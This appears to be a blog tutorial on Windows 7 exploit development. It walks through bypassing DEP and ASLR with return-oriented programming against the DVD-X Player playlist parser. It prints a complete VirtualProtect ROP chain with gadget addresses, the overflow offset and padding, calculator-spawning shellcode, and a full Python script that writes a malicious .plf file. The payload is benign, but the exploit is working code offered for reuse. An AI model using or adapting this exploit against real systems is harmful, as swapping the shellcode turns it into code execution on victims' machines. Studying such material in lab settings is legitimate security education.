Disclaimer: This post only for education only ! not to cause any destruction on any living system. Be smart!
as you guys realize in the previous post we do all of our exploit development inside an old Windows XP OS that is certainly don't have an adequate protection mechanism in its environment if we try to stick with this environment only, it will eventually make everything we learn so far obsolete, we need to step up our game to become better. So in this post, we are going to take a look at how to bypassing common protection mechanism in windows 7
note: this post does not originally come from me this was inspired by http://www.fuzzysecurity.com/tutorials/expDev/7.html and https://packetstormsecurity.com/files/104583/DVD-X-Player-5.5.0-Pro-Standard-Buffer-Overflow.html
go check this resource above cause this is really good
Background:
Ok, so a little bit of background about windows 7 protection mechanism. Basically, starting from Win Server 2003 SP1, windows has implemented security features called DEP and ASLR
DEP stands for Data Execution Prevention, this basically makes the stack used to hold input for user to be not executable so any shellcode that we try to put in the stack will not be continued by the program and it will show a warning "access violation" if you run in it in a debugger.
ASLR stands for Address space layout randomization used to randomizing the entry located at the .dll. notice that every time when we try to construct a payload in the windows xp some of the function from the .dll is always stays at the same address and it makes our task easier but with the ASLR protection come we cannot fully depend on that concept.
But of course, security is always a never-ending cat-mouse game and hackers always come up with a new brilliant way to bypass this protection. We can bypass this protection using ROP or Return Oriented Programming
Basically using ROP we are kinda constructing or chaining a series call to multiple instructions that already provide in the machine that will accomplish our task. Technically we are not executing programs but rather reusing a code inside the program.
So what instruction that we can use to bypass DEP and ASLR in windows, there are several API functions you can use, Just pick one of this:
- VirtualAlloc
- HeapCreate
- SetProcessDEPPolicy
- NtSetInformationProcess
- VirtualProtect
- WriteProcessMemory
There are so many which one we should use?
it depends on these two things (based on my experiences): First is the windows operating system that we used because some version does not have all of these API
(source: https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/)
second is a bad character in address in the ROP chain, since we are not executing any instruction rather we use an address that contains instruction, we need to make sure that the address we use does not contain any bad character sequence such as \x00 (null bytes) and \xcc (INT 3 breakpoint) that would render our exploit
Get our Hands dirty:
To demonstrate the capability of ROP, we are going to exploit the DVD-X player inside the windows 7 32 bit VM.First of all, we need to turn on the DEP features in the windows by going to the control panel > system & security > system
Search for "performance options" and go to the "Data Execution Prevention" tab to enable full DEP

you need to restart the windows machine to apply the changes you have done earlier.
as always we need to open the program and attach immunity debugger to its process. Let's crash the program by supplying a long string inside the file, we can accomplish this using mona and python.
using mona we generate a pattern so we know how many offset we need to overwrite the EIP.

Using this information, let's create a python script that able to produce a .plf file.

open the new .plf file inside the DVD-X player and it will lead to a crash, without wasting our time let's find out the offset using:
~# !mona pattern_offset <EIP value at crash>

we can see that from the result that it needs 260 offsets. Let's update the python script to be like this:

as you can see we are able to take control of the EIP once we upload the new .plf file again.

as I explained earlier, ROP used to bypass ASLR and NX protection by reusing code inside the program. To find this "code" that we can use to construct a gadget we can use mona again like below.

what I do using this command, is telling mona to find areas inside the program that is not affected by the ASLR because we are going to use series of address to execute instruction we need to make sure that the address we use does not change every time we executed the exploit.
now this is going to be the most important command you should be aware in every ROP exploit development and I think this is the best mona could ever be done for us for aiding us to build an exploit (thanks Corelan team)

what this command do is to make mona build a ROP chain based on our requirement (we tell mona to construct a ROP gadget from this listed .dll and ask to exclude any address that contains \x00 and \xcc characters) :) (pretty cool huh ?!) after the execution all of the results will be stored into three files:
- rop_chains.txt (contain the ROP chain that was able for mona to construct)
- rop.txt (contain a full list of gadget that we can used)
- rop_suggestions.txt (contain a full list of gadget that we can use but it was sorted by the mona)
Let's used the VirtualProtect() API
Using VirtualProtect(PAGE_READ_WRITE_EXECUTE) will change the access protection level of a given memory page, allowing you to mark the location where your shellcode resides as executable
(references: https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/)
according to windows documentation, in order for us to use the API we need to supply 4 parameters into the functions:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
lpAddress, specify the start address of memory region that we want to change the permission
dwSize, is how big is the memory that you want to change the permission
flNewProtect, basically is the new permission that we want to apply
lpflOldProtect, A pointer to a variable that receives the previous access protection value, we just need to find an area inside the program that has executed permission
since this 32 bit windows, you must remember that the parameter and function called need to be set up in the stack.
"Each one of those functions requires the stack or registers to be set up in a specific way. After all, when an API is called, it will assume that the parameters to the function are placed at the top of the stack (= at ESP). That means that your primary goal will be to craft these values on the stack, in a generic and reliable way, without executing any code from the stack itself. "
to make this easy for use the workflow is going to be like this, we store all of necessary parameter and API calling function into the register, after that we push all of the value that stored earlier into the stack using "PUSHAD"
Using PUSHAD the registers are stored on the stack in the following order: EAX, ECX, EDX, EBX, EBP, ESP (original value), EBP, ESI, and EDI
remember! placing parameter in the stack in 32 bit OS will start from the left to right so we start entering the value of the parameter from lpflOldProtect
although you can use the good old fashion push, I think this will much quicker and better.
I will be using the following ROPgagdet that generated from mona
#[---INFO:gadgets_to_set_esi:---] 0x640442c3, # POP EAX # RETN [MediaPlayerCtrl.dll] 0x60366238, # ptr to &VirtualProtect() [IAT Configuration.dll] 0x6410b24d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [NetReg.dll] 0x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll]
we set up ESI register to hold a pointer the API of the virtualProtect()
#[---INFO:gadgets_to_set_ebp:---] 0x60338d64, # POP EBP # RETN [Configuration.dll] 0x6035453b, # & push esp # ret 0x10 [Configuration.dll]
allow us to return to the stack
#[---INFO:gadgets_to_set_ebx:---] 0x6410ab54, # POP EAX # RETN [NetReg.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x6032f034, # NEG EAX # RETN [Configuration.dll] 0x61640124, # XCHG EAX,EBX # RETN [EPG.dll]
EBX register will hold the value 201 this will be the size of the memory region
that was affected (dwsize))
#[---INFO:gadgets_to_set_edx:---] 0x64038f88, # POP EAX # RETN [MediaPlayerCtrl.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x60352df7, # NEG EAX # RETN [Configuration.dll] 0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]
EDX register will hold the value 0x40 for execution permission (flNewProtect)
#[---INFO:gadgets_to_set_ecx:---] 0x64048fb6, # POP ECX # RETN [MediaPlayerCtrl.dll] 0x6411b659, # &Writable location [NetReg.dll]
ECX register will hold the pointer to an executable address (lpflOldProtect)
#[---INFO:gadgets_to_set_edi:---] 0x64109dcd, # POP EDI # RETN [NetReg.dll] 0x64041804, # RETN (ROP NOP) [MediaPlayerCtrl.dll]
#[---INFO:gadgets_to_set_eax:---] 0x6162dbe3, # POP EAX # RETN [EPG.dll] 0x90909090, # nop
#[---INFO:pushad:---] 0x60358d87, # PUSHAD # RETN [Configuration.dll]
Push all of the register into the stack, the rest of the register that
I do not commented is just a junk or padding that contain NOP
For detail, I suggest you guys read the following link: https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
the full python script will be like this:
import struct def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x640442c3, # POP EAX # RETN [MediaPlayerCtrl.dll] 0x60366238, # ptr to &VirtualProtect() [IAT Configuration.dll] 0x6410b24d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [NetReg.dll] 0x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll] #[---INFO:gadgets_to_set_ebp:---] 0x60338d64, # POP EBP # RETN [Configuration.dll] 0x6035453b, # & push esp # ret 0x10 [Configuration.dll] #[---INFO:gadgets_to_set_ebx:---] 0x6410ab54, # POP EAX # RETN [NetReg.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x6032f034, # NEG EAX # RETN [Configuration.dll] 0x61640124, # XCHG EAX,EBX # RETN [EPG.dll] #[---INFO:gadgets_to_set_edx:---] 0x64038f88, # POP EAX # RETN [MediaPlayerCtrl.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x60352df7, # NEG EAX # RETN [Configuration.dll] 0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll] #[---INFO:gadgets_to_set_ecx:---] 0x64048fb6, # POP ECX # RETN [MediaPlayerCtrl.dll] 0x6411b659, # &Writable location [NetReg.dll] #[---INFO:gadgets_to_set_edi:---] 0x64109dcd, # POP EDI # RETN [NetReg.dll] 0x64041804, # RETN (ROP NOP) [MediaPlayerCtrl.dll] #[---INFO:gadgets_to_set_eax:---] 0x6162dbe3, # POP EAX # RETN [EPG.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x60358d87, # PUSHAD # RETN [Configuration.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) shellcode = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76
\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20
\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7
\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7") payload = "A" * 260 payload += struct.pack("<I",0x6033821f) #RETN payload += 'AAAA' payload += 'AAAA' payload += 'AAAA' payload += 'AAAA' payload += create_rop_chain() payload += "\x90" * 40 payload += shellcode payload += "\x90" * 40 file = open("evil.plf",'w') file.write(payload) file.close() print "[+] done writing payload"
Notice in the exploit code that before redirecting the execution to ROP gadget I add 16 bytes of padding, this is due to the stack is not aligned properly at the moment of the crash. If you don't add padding, it will jump 16 bytes and land at the middle of the ROP gadget that will make execution gone wrong
the shellcode that I used is just used to spawned a calculator
run the python script and load our final .plf file

Comments
Post a Comment